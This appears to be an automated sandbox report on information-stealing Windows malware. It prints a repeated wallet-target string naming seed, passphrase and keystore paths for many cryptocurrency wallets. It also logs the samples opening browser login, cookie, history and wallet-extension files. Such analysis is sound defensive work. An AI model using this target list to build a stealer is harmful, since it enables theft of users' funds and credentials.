Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: uLkHEqZ3u3.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\app-store.json*6
Source: uLkHEqZ3u3.exe	String found in binary or memory: Wallets/Ethereum
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: uLkHEqZ3u3.exe, 00000000.00000003.2297076476.000000000150D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: uLkHEqZ3u3.exe	String found in binary or memory: keystore
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
